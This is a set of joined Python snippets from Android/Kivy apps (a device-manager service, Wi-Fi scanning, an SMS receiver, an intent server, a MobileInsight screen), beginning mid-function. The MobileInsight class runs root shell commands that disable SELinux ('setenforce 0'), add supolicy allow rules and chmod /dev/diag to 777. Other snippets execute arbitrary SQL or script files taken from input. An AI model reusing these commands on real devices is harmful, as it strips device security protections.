dm.get_uid() if ids in self.devicemanagers_active_info: del self.devicemanagers_active_info[ids] if ids in self.devicemanagers_by_uid: del self.devicemanagers_by_uid[ids] if dm in self.devicemanagers_active: self.devicemanagers_active.remove(dm) if dm in self.devicemanagers_active_done: self.devicemanagers_active_done.remove(dm) self.set_formatters_device() elif command == COMMAND_SAVEDEVICE and exitv == CONFIRM_OK: ids = f'{dm.get_id()}' if ids not in self.devicemanagers_by_id: self.devicemanagers_by_id[ids] = dm TcpClient.reset_templates() self.set_formatters_device() self.on_command_listviews() elif command == COMMAND_SEARCH and exitv == CONFIRM_OK: if dm.get_state() != DEVSTATE_SEARCHING: if self.devicemanagers_all_stopped(): dm.search(True) else: dm.search(False) def generate_uid(self): while True: uid = OSCManager.generate_uid() if uid not in self.devicemanagers_by_uid: return uid def devicemanagers_all_stopped(self): if not self.devicemanagers_active or not self.timer_obj: for _, x in self.devicemanagers_by_uid.items(): if not x.is_stopped_state(): return False return True else: return False def on_command_newdevice(self, typev, *args, sender=None, **kwargs): if typev not in self.devicemanager_class_by_type: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_TYPE_DEVICE_UNKNOWN, dest=sender) elif not self.devicemanagers_all_stopped(): self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_CONNECTION_STATE_INVALID, dest=sender) else: uid = self.generate_uid() self.devicemanagers_by_uid[uid] = self.devicemanager_class_by_type[ typev](self.oscer, uid, service=True, db=self.db, loop=self.loop, params=self.addit_params, debug_params=self.debug_params.get(typev, dict()), on_command_handle=self.on_event_command_handle, on_state_transition=self.on_event_state_transition) self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, uid, dest=sender) async def db_query_single(self, txt): result = dict(error='', rows=[], cols=[], rowcount=0, changes=0, lastrowid=-1) try: async with self.db.cursor() as cursor: result['changes_before'] = self.db.total_changes await cursor.execute(txt) lst = result['rows'] result['rowcount'] = cursor.rowcount result['lastrowid'] = cursor.lastrowid result['changes_after'] = self.db.total_changes async for row in cursor: if not result['cols']: result['cols'] = list(row.keys()) item = '' for r in result['cols']: item += f'\t{row[r]}' lst.append(item.strip()) await self.db.commit() except Exception as ex: result['error'] = str(ex) _LOGGER.error(f'Query Error {traceback.format_exc()}') _LOGGER.info(f'Query {txt} result obtained') _LOGGER.debug(f'Query result {result}') return result async def db_query(self, txt, sender=None): queries = re.split(r';[\r\n]*', txt) results = [] for q in queries: q = q.strip() if q: r = await self.db_query_single(q) results.append(r) self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, results, do_split=True, dest=sender) def on_command_query(self, txt, *args, sender=None, **kwargs): _LOGGER.debug(f'on_command_query {txt}') if not self.db: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_DB_SAVE_ERROR % self.db_fname, do_split=True, dest=sender) elif not txt: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_2, MSG_INVALID_PARAM, do_split=True, dest=sender) elif self.devicemanagers_all_stopped(): Timer(0, partial(self.db_query, txt, sender=None)) else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_2, MSG_CONNECTION_STATE_INVALID, do_split=True, dest=sender) def on_command_loglevel(self, level, notify_screen_on, notify_every_ms, *args, sender=None, **kwargs): init_logger(__name__, level) self.verbose = level if notify_screen_on >= 0: self.notify_screen_on = notify_screen_on if notify_every_ms >= 0: self.notify_every_ms = notify_every_ms def on_command_stop(self, *args, sender=None, **kwargs): self.loop.stop() def reset_service_notifications(self): for _, no in self.notification_formatter_info.items(): no.clear() self.cancel_service_notification(no.idnot) if len(self.notification_formatter_info) > 1: self.cancel_service_notification(self.FOREGROUND_NOTIFICATION_ID - 1) self.notification_formatter_info.clear() def cancel_service_notification(self, idnot): if idnot == self.FOREGROUND_NOTIFICATION_ID: self.set_service_notification(idnot, self.build_service_notification()) else: self.notification_service.cancel(idnot) def set_service_notification(self, idnot, notif): self.notification_service.notify(idnot, notif) def set_summary_notification(self): if len(self.notification_formatter_info) > 1: summary = '' lines = [] message = f'{len(self.notification_formatter_info)} active devices' for t, no in self.notification_formatter_info.items(): if no.last_txt: lines.append(no.last_txt) summary += f' {no.title}' if summary and len(lines) > 1: summary = summary[1:] self.set_service_notification( self.FOREGROUND_NOTIFICATION_ID - 1, self.build_service_notification(summary, message, lines)) def build_service_notification(self, title=None, message=None, lines=None, idnot=0): group = None nb = self.notification_builder if not title and not message: title = "Fit.py" message = "DeviceManagerService" elif len(self.notification_formatter_info) > 1: nb = self.notification_builder if idnot == self.FOREGROUND_NOTIFICATION_ID else self.notification_builder_no_action group = self.NOTIFICATION_GROUP title = self.AndroidString((title if title else 'N/A').encode('utf-8')) message = self.AndroidString(message.encode('utf-8')) nb.setContentTitle(title)\ .setGroup(group)\ .setContentText(message)\ .setOnlyAlertOnce(self.notify_screen_on <= 0) if lines is not None: style = self.NotificationCompatInboxStyle()\ .setSummaryText(title)\ .setBigContentTitle(message) for l in lines: style.addLine(self.AndroidString(l.encode('utf-8'))) nb.setStyle(style)\ .setGroupSummary(True) else: nb.setStyle(None)\ .setGroupSummary(False) return nb.getNotification() def insert_service_notification(self): self.service.setAutoRestartService(False) self.service.startForeground(self.FOREGROUND_NOTIFICATION_ID, self.build_service_notification()) async def start(self): if self.android: self.insert_service_notification() self.devicemanager_class_by_type = find_devicemanager_classes(_LOGGER) for tp, cls in self.devicemanager_class_by_type.items(): if cls.__pre_action__: nm = cls.__pre_action__.__name__ if nm not in self.devicemanagers_pre_actions: self.devicemanagers_pre_actions[nm] = cls.__pre_action__ await self.init_db(self.db_fname) await self.load_db() await self.init_osc() def set_devicemanagers_active(self, *args, **kwargs): del self.devicemanagers_active_done[:] del self.devicemanagers_active[:] self.devicemanagers_active_info.clear() self.reset_service_notifications() for v in self.views: if v.active: for c in v.get_connected_devices(): d = self.devicemanagers_by_id[str(c)] if d not in self.devicemanagers_active_done: self.devicemanagers_active_done.append(d) for d in self.devicemanagers_active_done: self.devicemanagers_active_info[d.get_uid()] = dict(retry=0, operation='') def set_formatters_device(self): views2save = [] for v in self.views: saveview = False for i in range(len(v.items) - 1, -1, -1): lab = v.items[i] ids = str(lab.device) if ids in self.devicemanagers_by_id: lab.set_device(self.devicemanagers_by_id[ids].get_device()) else: del v.items[i] saveview = True if saveview: views2save.append(v) if views2save: Timer(0, partial(self.save_modified_views, views2save)) async def save_modified_views(self, views2save): for v in views2save: rv = await v.to_db(self.db) _LOGGER.info(f'Saving view {v} -> {rv}') self.on_command_listviews() def create_device_managers(self): for d in self.devices: uid = self.generate_uid() typev = d.get_type() if typev in self.devicemanager_class_by_type: dm = self.devicemanager_class_by_type[typev]( self.oscer, uid, service=True, loop=self.loop, db=self.db, device=d, params=self.addit_params, debug_params=self.debug_params.get(typev, dict()), on_command_handle=self.on_event_command_handle, on_state_transition=self.on_event_state_transition) self.devicemanagers_by_id[f'{d.get_id()}'] = dm self.devicemanagers_by_uid[uid] = dm self.set_devicemanagers_active() self.set_formatters_device() async def load_db(self): try: self.users = await User.loadbyid(self.db) self.devices = await Device.loadbyid(self.db) self.views = await View.load1m(self.db) # _LOGGER.debug(f'List view[0] {self.views[0]}') except Exception: _LOGGER.error(f'Load DB error {traceback.format_exc()}') async def start_remaining_connection_operations(self, bytimer=True): try: _LOGGER.info(f'Starting remaining con timer={bytimer}') if bytimer: self.timer_obj = None elif self.timer_obj: self.timer_obj.cancel() self.timer_obj = None for dm in self.devicemanagers_active.copy(): info = self.devicemanagers_active_info[dm.get_uid()] _LOGGER.info( f'Processing[{dm.get_uid()}] {dm.get_device()} -> {info["operation"]}' ) if info['operation'] == 'd': if dm.get_state() == DEVSTATE_CONNECTING: self.oscer.send( COMMAND_PRINTMSG, MSG_WAITING_FOR_CONNECTING.format( dm.get_device().get_alias())) break elif not dm.is_connected_state(): self.devicemanagers_active.remove(dm) self.devicemanagers_active_done.append(dm) else: dm.disconnect() break elif info['operation'] == 'c': if dm.is_connected_state(): self.devicemanagers_active.remove(dm) self.devicemanagers_active_done.append(dm) elif bytimer: dm.set_user(self.last_user) if dm.connect(): break else: self.oscer.send( COMMAND_PRINTMSG, MSG_DEVICE_NOT_STOPPED.format( dm.get_device().get_alias())) else: if info['retry'] < self.connect_retry: self.timer_obj = Timer( 0 if not info['retry'] else self.connect_secs, self.start_remaining_connection_operations) info['retry'] += 1 break else: _LOGGER.info( f'Retry FINISH for device[{dm.get_uid()}] {dm.get_device()}' ) except Exception: _LOGGER.error(f'Rem op error {traceback.format_exc()}') def set_operation_ended(self, info): info['operation'] = '' info['retry'] = 0 def on_event_state_transition(self, dm, oldstate, newstate, reason): if self.connectors_format: TcpClient.format(dm.get_device(), state=newstate, manager=dm) self.change_service_notification(dm, state=newstate, manager=dm) uid = dm.get_uid() if uid in self.devicemanagers_active_info: # assenza significa che stiamo facendo una ricerca info = self.devicemanagers_active_info[uid] from device.manager import GenericDeviceManager if GenericDeviceManager.is_connected_state_s( newstate) and oldstate == DEVSTATE_CONNECTING: if info['operation'] == 'c': if dm in self.devicemanagers_active: self.devicemanagers_active.remove(dm) self.devicemanagers_active_done.append(dm) self.set_operation_ended(info) Timer( 0, partial(self.start_remaining_connection_operations, bytimer=False)) elif oldstate == DEVSTATE_CONNECTING and newstate == DEVSTATE_DISCONNECTED: if reason == DEVREASON_PREPARE_ERROR or reason == DEVREASON_BLE_DISABLED: for dm in self.devicemanagers_active: info = self.devicemanagers_active_info[dm.get_uid()] self.set_operation_ended(info) if dm not in self.devicemanagers_active_done: self.devicemanagers_active_done.append(dm) del self.devicemanagers_active[:] else: Timer( 0, partial(self.start_remaining_connection_operations, bytimer=False)) elif (GenericDeviceManager.is_connected_state_s(oldstate) or oldstate == DEVSTATE_DISCONNECTING ) and newstate == DEVSTATE_DISCONNECTED: oper = 'c' if info['operation'] != 'd' else 'd' if reason != DEVREASON_REQUESTED: info['operation'] = oper if dm in self.devicemanagers_active_done: self.devicemanagers_active_done.remove(dm) if dm not in self.devicemanagers_active: self.devicemanagers_active.append(dm) GenericDeviceManager.sort(self.devicemanagers_active) else: self.set_operation_ended(info) self.main_session = None if dm in self.devicemanagers_active: self.devicemanagers_active.remove(dm) self.devicemanagers_active_done.append(dm) Timer( 0, partial(self.start_remaining_connection_operations, bytimer=False)) async def init_db(self, file): self.db = await aiosqlite.connect(file) if not isinstance(self.db, aiosqlite.Connection): self.db = None else: self.db.row_factory = aiosqlite.Row modules = glob.glob(join(dirname(__file__), "..", "db", "*.py*")) pls = [splitext(basename(f))[0] for f in modules if isfile(f)] import importlib import inspect for x in pls: try: m = importlib.import_module(f"db.{x}") clsmembers = inspect.getmembers(m, inspect.isclass) for cla in clsmembers: query = getattr(cla[1], '__create_table_query__') if query: # _LOGGER.debug(f'Executing query {query}') await self.db.execute(query) cla[1].set_update_columns() await self.db.execute('PRAGMA foreign_keys = ON') except Exception: _LOGGER.warning(traceback.format_exc()) await self.db.commit() def on_bluetooth_disabled(self, inst, wasdisabled, ok): self.undo_enable_operations() def undo_enable_operations(self): for nm, act in self.devicemanagers_pre_actions.items(): if nm in self.undo_info and self.undo_info[nm]: del self.undo_info[nm] preact = act(self.loop) preact.undo(self.on_bluetooth_disabled) break self.stop_event.set() async def uninit_db(self): if self.db: await self.db.commit() await self.db.close() async def stop(self): self.undo_enable_operations() await self.stop_event.wait() self.oscer.uninit() await self.uninit_db() if self.android: self.br.stop() self.stop_service() def stop_service(self): if self.android: self.reset_service_notifications() self.service.stopForeground(True) self.service.stopSelf()
class Application(MDApp): results = set() wifi = None br = None def build(self): return Builder.load_string(KV) def register_broadcats_receiver(self): if not self.br: self.br = BroadcastReceiver( self.on_broadcast, actions=['SCAN_RESULTS_AVAILABLE_ACTION']) self.br.start() def on_broadcast(self, context, intent): success = intent.getBooleanExtra( WifiManager.EXTRA_RESULTS_UPDATED, False) if success: self.scan_success() else: self.scan_failure() def start_scan(self): self.register_broadcats_receiver() context = mActivity.getApplicationContext() wifiManager = cast( WifiManager, context.getSystemService(Context.WIFI_SERVICE)) self.wifi = wifiManager success = self.wifi.startScan() if not success: self.scan_failure() def scan_success(self): self.root.ids.lbl.text = '' if not self.wifi: return results = self.wifi.getScanResults() for i in range(results.size()): result = results.get(i) self.results.add(result) self.root.ids.lbl.text += f'{result.SSID}\n' def on_start(self): self.register_broadcats_receiver() request_permissions([Permission.ACCESS_FINE_LOCATION]) def on_resume(self): self.register_broadcats_receiver() def on_pause(self): self.stop_scan() return True def stop_scan(self): if self.br: self.br.stop() self.br = None self.root.ids.lbl.text = '' def scan_failure(self): if self.results: for result in self.results: self.root.ids.lbl.text += f'{result}\n' else: self.root.ids.lbl.text = 'something went wrong' self.stop_scan()
class AndroidWiFiManager(WiFiManager): def __init__(self, config, logger, api): super(AndroidWiFiManager, self).__init__(config, logger, api) self.general_android_conn = GeneralAndroidConnectivity( self.logger, self.api) self.wifi_android_controller = WiFiAndroidController( self.logger, self.general_android_conn) self.context = PythonService.mService self.wifi_manager = self.context.getSystemService(Context.WIFI_SERVICE) self.conn_manager = self.context.getSystemService( Context.CONNECTIVITY_SERVICE) self.conn_change_br = BroadcastReceiver( self.handle_conn_change_alert, actions=[ConnectivityManager.CONNECTIVITY_ACTION]) self.addConnectionAlert( self.general_android_conn.updateConnectivityMgmtObj) def start(self): super(AndroidWiFiManager, self).start() ip_addr = self.general_android_conn.getLocalIpAddress() if ip_addr is not None and ip_addr != "": self.general_android_conn.updateConnectivityMgmtObj( "{\"status\":\"CONNECTED\", \"ip_address\":\"" + ip_addr + "\", \"ssid\":\" \"}") #GeneralConnectivity.setOpenMTCIntentAction(self.internalIntentAction) #GeneralConnectivity.setOpenMTCAndroidAppPackageName(self.android_app_package) #WiFiController.startConnectionAlert() results = self.wifi_android_controller.scanWiFiNetworks() #results = WiFiAndroidController.scanWiFiNetworks() # results = Hardware.getWiFiNetworks() self.logger.info("the result of wifi scan was " + results) # WiFiController.addNetworks(String(str(json.dumps(self.config["networks"],separators=(',', ':'))))) network_array = json.loads( json.dumps(self.config["networks"], separators=(',', ':'))) for network in network_array: self.logger.info("network info is " + str(network)) network_str = str(json.dumps(network, separators=(',', ':'))) self.logger.info("network info is " + network_str) self.wifi_android_controller.addConfiguredNetwork(network_str) #WiFiController.addConfiguredNetwork(String(network_str)) # default_network = "guest_open" # default_network = "guest_wpa_preshared" default_network = self.config["default_network"] self.logger.info("default_network is " + default_network) self.wifi_android_controller.connectToNetwork(default_network) #WiFiController.connectToNetwork(default_network) def connectToNetwork(self, networkSSID, conn_callback=None): self.wifi_android_controller.connectToNetwork(networkSSID, conn_callback) def addConnectionAlert(self, callback): if len(self.conn_change_callback_list) == 0: self.conn_change_br.start() super(AndroidWiFiManager, self).addConnectionAlert(callback) def removeConnectionAlert(self, callback): super(AndroidWiFiManager, self).removeConnectionAlert(callback) if len(self.conn_change_callback_list) == 0: self.conn_change_br.stop() def handle_conn_change_alert(self, context, intent): action = intent.getAction() ssid = "" ip_address = "" self.logger.info("received intent on " + action) if action != ConnectivityManager.CONNECTIVITY_ACTION: return if intent.hasExtra(ConnectivityManager.EXTRA_NO_CONNECTIVITY): #intent.getBooleanExtra(ConnectivityManager.EXTRA_NO_CONNECTIVITY, true)){ self.logger.info( "received information that the device disconnected and no network is available" ) self.conn_change_callback("DISCONNECTED", "", "") return net_type = intent.getIntExtra("networkType", -1) self.logger.info("network type is " + str(net_type)) if net_type != ConnectivityManager.TYPE_WIFI: return info = self.conn_manager.getNetworkInfo(net_type) state = info.getState() self.logger.info("wifi connectivity state is " + str(state.toString())) if str(state.toString()) != "CONNECTED": return self.logger.info( "received information about connectivity change for WiFi") # send intent to update connectivity status self.logger.info( "received information that the device connected on WiFi") wifiInfo = self.wifi_manager.getConnectionInfo() ssid = wifiInfo.getSSID() self.logger.info("device is now connected on WiFi on SSID " + str(ssid)) # ip_address = self.general_android_conn.getLocalIpAddress() ip_address = GeneralConnectivity.getLocalIpAddress() if ip_address is None: self.logger.info("device is not having any IP assigned") self.conn_change_callback("NO IP ADDRESS", "", ssid) else: self.logger.info("device is now connected with IP " + str(ip_address)) #TODO: handle any promise that is waiting for the reply self.conn_change_callback("CONNECTED", ip_address, ssid) self.current_ssid = ssid[1:-1] return
# I don't remember if I need this or not but I'm too lazy # to get my phone out and redeploy to test right now sms_manager = autoclass("android.telephony.SmsManager") sms_manager.getDefault() def on_sms_received(context, intent): # Bundle up the intent extras msg_bundle = Bundle(intent.getExtras()) # Pull out all the pdus pdus = [m for m in msg_bundle.get("pdus")] # This next line used to do a thing, but doesn't any more. # I guess I should take it out msg_bytes = [p for p in pdus] # Reconstruct the message messages = [SmsMessage.createFromPdu(mb) for mb in msg_bytes] for m in messages: print m.getMessageBody() # Define the type of action we want to react to SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED" # Register a call back for that action in a BR br = BroadcastReceiver(on_sms_received, actions=[SMS_RECEIVED]) # Start the reveiver listening br.start() # Keep the service alive while 1: time.sleep(60 * 5)
class IntentServer(LoggerMixin): def __init__(self, request_handler, gevent_queue, config, logger): self.config = config self.request_handler = request_handler self.action = self.config["listenActions"] self.logger = logger self.logger.info("!!!listening on action " + self.action) self.issuer = self.config["Issuer"], self.logger.info("!!!listening on action " + self.action) self.allowedIssuers = self.config["Issuer"].split(',') self.logger.info("!!!listening on action " + self.action) if gevent_queue is not None: self.gevent_queue = gevent_queue else: self.gevent_queue = None self.logger.info("starting the broadcast receiver") self.br = BroadcastReceiver(self._handle_intent_request, actions=[self.action]) self.list_iter = PythonListIterator() self.m2m_service_callback = M2MServiceCallbackImpl(None) self.m2mservice_binder = M2MServiceBinder() self.logger.info("created the callback") M2MServiceBinder.setCallback(self.m2m_service_callback) PythonService.setBinder(self.m2mservice_binder) context = PythonService.mService # service = M2MService() # service.onCreate() # service.onStartCommand(None, 0, 0) # service.setContext(context) serviceIntent = Intent() #serviceIntent.setClassName("org.openmtc.m2mservice", "org.openmtc.m2mservice.M2MService"); serviceIntent.setClassName("org.renpy.android", "org.renpy.android.PythonService") #serviceIntent.setClassName("com.example.test_bind_service_server2", "com.example.test_bind_service_server2.DemoService"); #context = PythonActivity.mActivity ok = context.bindService(serviceIntent) if ok is False: print("python could not start m2mservice") else: print("python starting component " + ok) self.logger.info("set the callback") #self.br.start() def start(self): self.br.start() def _handle_intent_request(self, context, intent_request): self.logger.info("received an intent request: " + str(intent_request)) try: extras = intent_request.getExtras() issuer = extras.get('Issuer') except Exception as e: print("error while processing intent " + e) return intentHandler = IntentHandler(self.logger, self.config) request_dict = intentHandler.intent_extras_to_dict(intent_request) parsedRequest = intentHandler.parseRequest(issuer, request_dict, context) #intentHandler.handleParsedRequest(parsedRequest, self.request_handler, self.gevent_queue) intentHandler.handleParsedRequest(parsedRequest, None, self.gevent_queue)
class MobileInsightScreen(Screen): error_log = StringProperty(LOGO_STRING) default_app_name = StringProperty("") collecting = BooleanProperty(False) service = None analyzer = None terminal_thread = None terminal_stop = None MAX_LINE = 30 logs = deque([],MAX_LINE) plugins = [] selectedPlugin = "" myLayout = GridLayout(cols = 2, spacing = 5, orientation = "vertical", size_hint_y = None, height = (len(get_plugins_list())/2+len(get_plugins_list())%2)*Window.height/4) popupScroll = ScrollView(size_hint_y = None, size = (Window.width, Window.height*.9)) popupScroll.add_widget(myLayout) popup = Popup(content = popupScroll, title = "Choose a plugin") def __init__(self, name): """ Initialization function. We will do the following task (in order): 1. Check if the device is rooted 2. Initialize necessary libs required by MobileInsight (e.g., libwireshark) 3. Check if Android's security policy allows MobileInsight to access diagnostic mode. This is mainly caused by SELinux 4. Create necessary folders on SDcard (e.g., /sdcard/mobileinsight/, /sdcard/mobileinsight/log/) 5. Load built-in and 3rd-party plugins (located in /sdcard/mobileinsight/plugins/) 6. Check if the diagnostic mode is enabled 7. Load configurations from the setting panel (configs stored in /sdcard/.mobileinsight.ini) """ super(MobileInsightScreen, self).__init__() self.name = name if not main_utils.is_rooted(): # self.ids.log_viewer.disabled = False # self.ids.run_plugin.disabled = False self.log_error( "MobileInsight requires root privilege. Please root your device for correct functioning.") self.__init_libs() self.__check_security_policy() if not create_folder(): # MobileInsight folders unavailable. Add warnings self.log_error("SDcard is unavailable. Please check.") self.screen.ids.log_viewer.disabled = True self.screen.ids.stop_plugin.disabled = True self.screen.ids.run_plugin.disabled = True self.plugins_list = get_plugins_list() # self.plugins_list.sort() if not self.__check_diag_mode(): self.log_error( "The diagnostic mode is disabled. Please check your phone settings.") # clean up ongoing log collections # self.stop_collection() self.terminal_stop = None self.terminal_thread = None bootup = True #used to shorten long widget names in popup menu shortenLabel = CoreLabel(markup = True, text_size = (Window.width/2.5, None), shorten_from = "right", font_size = 70) #Making and adding widgets to popup menu for name in self.plugins_list: widget = Button(id = name, markup = True, halign = "left", valign = "top", on_release = self.callback, background_normal = "", background_color = self.ids.run_plugin.background_color) widget.text_size = (Window.width/2.25, Window.height/4) self.myLayout.add_widget(widget) app_path = self.plugins_list[name][0] if os.path.exists(os.path.join(app_path, "readme.txt")): with open(os.path.join(app_path, "readme.txt"), 'r') as ff: my_description = ff.read() else: my_description = "no description." #shortening long widget names and making font size shortenedName = shortenLabel.shorten(name) font_size = "60" if Window.width < 1450: font_size = "45" widget.text = "[color=fffafa][size=70]"+ shortenedName + "[/size][size="+ font_size + "]\n"+ my_description+"[/size][/color]" if bootup: self.selectedPlugin = name self.ids.selectButton.text = "Select Plugin" self.ids.run_plugin.text = "Run Plugin: "+self.selectedPlugin bootup = False # register Broadcast Receivers. self.registerBroadcastReceivers() # If default service exists, launch it try: config = ConfigParser() config.read('/sdcard/.mobileinsight.ini') default_app_name = config.get("mi_general", "start_service") launch_service = config.get("mi_general", "bstartup_service") if default_app_name and launch_service == "1": self.start_service(default_app_name) self.ids.run_plugin.text = "Stop Plugin: "+default_app_name except Exception as e: pass def registerBroadcastReceivers(self): self.brStopAck = BroadcastReceiver(self.on_broadcastStopServiceAck, actions=['MobileInsight.Plugin.StopServiceAck']) self.brStopAck.start() #Setting the text for the Select Plugin Menu button def callback(self, obj): self.selectedPlugin = obj.id # self.ids.selectButton.text = "Select Button: " + obj.text[(obj.text.find("]", obj.text.find("]")+1)+1):obj.text.find("[", obj.text.find("[", obj.text.find("[")+1)+1)] self.ids.selectButton.text = "Select Plugin" if not self.service: self.ids.run_plugin.text = "Run Plugin: "+self.selectedPlugin self.popup.dismiss() def log_info(self, msg): self.append_log("[b][color=00ff00][INFO][/color][/b]: " + msg) def log_warning(self, msg): self.append_log("[b][color=00ffff][WARNING][/color][/b]: " + msg) def log_error(self, msg): self.append_log("[b][color=ff0000][ERROR][/color][/b]: " + msg) def append_log(self, s): self.error_log += "\n" self.error_log += s # def append_log(self,s): # self.error_log += "\n" # self.error_log += s # if self.line_count > self.MAX_LINE: # idx = self.error_log.find('\n') # self.error_log = self.error_log[idx+1:] # else: # self.line_count += 1 def __check_security_policy(self): """ Update SELinux policy. For Nexus 6/6P, the SELinux policy may forbids the log collection. """ cmd = "setenforce 0; " cmd = cmd + "supolicy --live \"allow init logd dir getattr\";" # # Depreciated supolicies. Still keep them for backup purpose cmd = cmd + "supolicy --live \"allow init init process execmem\";" cmd = cmd + \ "supolicy --live \"allow atfwd diag_device chr_file {read write open ioctl}\";" cmd = cmd + "supolicy --live \"allow init properties_device file execute\";" cmd = cmd + \ "supolicy --live \"allow system_server diag_device chr_file {read write}\";" # # Suspicious supolicies: MI works without them, but it seems that they SHOULD be enabled... # # mi2log permission denied (logcat | grep denied), but no impact on log collection/analysis cmd = cmd + \ "supolicy --live \"allow untrusted_app app_data_file file {rename}\";" # # Suspicious: why still works after disabling this command? Won't FIFO fail? cmd = cmd + \ "supolicy --live \"allow init app_data_file fifo_file {write open getattr}\";" cmd = cmd + \ "supolicy --live \"allow init diag_device chr_file {getattr write ioctl}\"; " # Nexus 6 only cmd = cmd + \ "supolicy --live \"allow untrusted_app diag_device chr_file {write open getattr}\";" cmd = cmd + \ "supolicy --live \"allow system_server diag_device chr_file {read write}\";" cmd = cmd + \ "supolicy --live \"allow netmgrd diag_device chr_file {read write}\";" cmd = cmd + \ "supolicy --live \"allow rild diag_device chr_file {read write}\";" cmd = cmd + \ "supolicy --live \"allow rild debuggerd app_data_file {read open getattr}\";" cmd = cmd + \ "supolicy --live \"allow wcnss_service mnt_user_file dir {search}\";" cmd = cmd + \ "supolicy --live \"allow wcnss_service fuse dir {read open search}\";" cmd = cmd + \ "supolicy --live \"allow wcnss_service mnt_user_file lnk_file {read}\";" cmd = cmd + \ "supolicy --live \"allow wcnss_service fuse file {read append getattr}\";" main_utils.run_shell_cmd(cmd) def __check_diag_mode(self): """ Check if diagnostic mode is enabled. Note that this function is chipset-specific: Qualcomm and MTK have different detection approaches """ chipset_type = main_utils.get_chipset_type() if chipset_type == main_utils.ChipsetType.QUALCOMM: diag_port = "/dev/diag" if not os.path.exists(diag_port): return False else: main_utils.run_shell_cmd("chmod 777 /dev/diag") return True elif chipset_type == main_utils.ChipsetType.MTK: cmd = "ps | grep emdlogger1" res = main_utils.run_shell_cmd(cmd) if not res: return False else: return True def __init_libs(self): """ Initialize libs required by MobileInsight. It creates sym links to libs, and chmod of critical execs """ libs_path = os.path.join(main_utils.get_files_dir(), "data") cmd = "" libs_mapping = { "libwireshark.so": [ "libwireshark.so.6", "libwireshark.so.6.0.1"], "libwiretap.so": [ "libwiretap.so.5", "libwiretap.so.5.0.1"], "libwsutil.so": [ "libwsutil.so.6", "libwsutil.so.6.0.0"]} for lib in libs_mapping: for sym_lib in libs_mapping[lib]: # if not os.path.isfile(os.path.join(libs_path,sym_lib)): if True: # TODO: chown to restore ownership for the symlinks cmd = cmd + " ln -s " + \ os.path.join(libs_path, lib) + " " + os.path.join(libs_path, sym_lib) + "; " exes = ["diag_revealer", "diag_revealer_mtk", "android_pie_ws_dissector", "android_ws_dissector"] for exe in exes: cmd = cmd + " chmod 755 " + os.path.join(libs_path, exe) + "; " cmd = cmd + "chmod -R 755 " + libs_path main_utils.run_shell_cmd(cmd) # def __init_libs(self): # """ # Initialize libs required by MobileInsight # """ # libs_path = os.path.join(main_utils.get_files_dir(), "data") # libs = ["libglib-2.0.so", # "libgmodule-2.0.so", # "libgobject-2.0.so", # "libgthread-2.0.so", # "libwireshark.so", # "libwiretap.so", # "libwsutil.so"] # cmd = "mount -o remount,rw /system; " # for lib in libs: # # if not os.path.isfile(os.path.join("/system/lib",lib)): # if True: # cmd = cmd + " cp " + os.path.join(libs_path, lib) + " /system/lib/; " # cmd = cmd + " chmod 755 " + os.path.join("/system/lib", lib) + "; " # # sym links for some libs # libs_mapping = {"libwireshark.so": ["libwireshark.so.6", "libwireshark.so.6.0.1"], # "libwiretap.so": ["libwiretap.so.5", "libwiretap.so.5.0.1"], # "libwsutil.so": ["libwsutil.so.6", "libwsutil.so.6.0.0"]} # for lib in libs_mapping: # for sym_lib in libs_mapping[lib]: # # if not os.path.isfile("/system/lib/"+sym_lib): # if True: # cmd = cmd + " ln -s /system/lib/" + lib + " /system/lib/" + sym_lib + "; " # cmd = cmd + " chmod 755 /system/lib/" + sym_lib + "; " # # print cmd # debug mode # # bins # exes = ["diag_revealer", # "android_pie_ws_dissector", # "android_ws_dissector"] # for exe in exes: # # if not os.path.isfile(os.path.join("/system/bin",exe)): # if True: # cmd = cmd + " cp " + os.path.join(libs_path, exe) + " /system/bin/; " # # 0755, not 755. "0" means "+x" on Android phones # cmd = cmd + " chmod 0755 " + os.path.join("/system/bin/", exe) + "; " # if cmd: # # at least one lib should be copied # main_utils.run_shell_cmd(cmd) def show_log(self): while not os.path.exists(self.log_name): continue log_file = open(self.log_name, 'r') # line_count = 0 while True: if self.terminal_stop.is_set(): continue try: time.sleep(1) where = log_file.tell() lines = log_file.readlines() if not lines: log_file.seek(where) else: self.logs += lines self.error_log = ''.join(self.logs) except Exception as e: import traceback print str(traceback.format_exc()) continue def run_script_callback(self): no_error = True if no_error: try: filename = self.ids["filename"].text self.append_log("") self.append_log("execfile: %s" % filename) namespace = {"app_log": ""} execfile(filename, namespace) # Load the "app_log" variable from namespace and print it out self.append_log(namespace["app_log"]) except BaseException: print str(traceback.format_exc()) self.append_log(str(traceback.format_exc())) no_error = False def stop_collection(self): res = main_utils.run_shell_cmd("ps").split('\n') for item in res: if item.find('diag_revealer') != -1: pid = item.split()[1] cmd = "kill "+pid main_utils.run_shell_cmd(cmd) """ def stop_collection(self): self.collecting = False # Find diag_revealer process # FIXME: No longer work for 7.0: os.listdir() only returns current # processstop_collection diag_procs = [] pids = [pid for pid in os.listdir("/proc") if pid.isdigit()] print "stop_collection", str(pids) for pid in pids: try: cmdline = open( os.path.join( "/proc", pid, "cmdline"), "rb").read() # if cmdline.startswith("diag_mdlog") or # cmdline.startswith("diag_revealer"): if cmdline.find("diag_revealer") != - \ 1 or cmdline.find("diag_mdlog") != -1: diag_procs.append(int(pid)) except IOError: # proc has been terminated continue if len(diag_procs) > 0: cmd2 = "kill " + " ".join([str(pid) for pid in diag_procs]) main_utils.run_shell_cmd(cmd2) """ def popUpMenu(self): self.popup.open() def start_service(self, app_name): if platform == "android" and app_name in self.plugins_list: # Clean up old logs self.log_name = os.path.join( main_utils.get_mobileinsight_analysis_path(), app_name + "_log.txt") if os.path.exists(self.log_name): os.remove(self.log_name) self.terminal_stop = threading.Event() self.terminal_thread = threading.Thread(target=self.show_log) self.terminal_thread.start() self.error_log = "Running " + app_name + "..." self.service = AndroidService( "MobileInsight is running...", app_name) # stop the running service self.service.stop() self.service.start( app_name + ":" + self.plugins_list[app_name][0]) # app name self.default_app_name = app_name # TODO: support collecting TCPDUMP trace # currentTime = datetime.datetime.now().strftime('%Y%m%d_%H%M%S') # 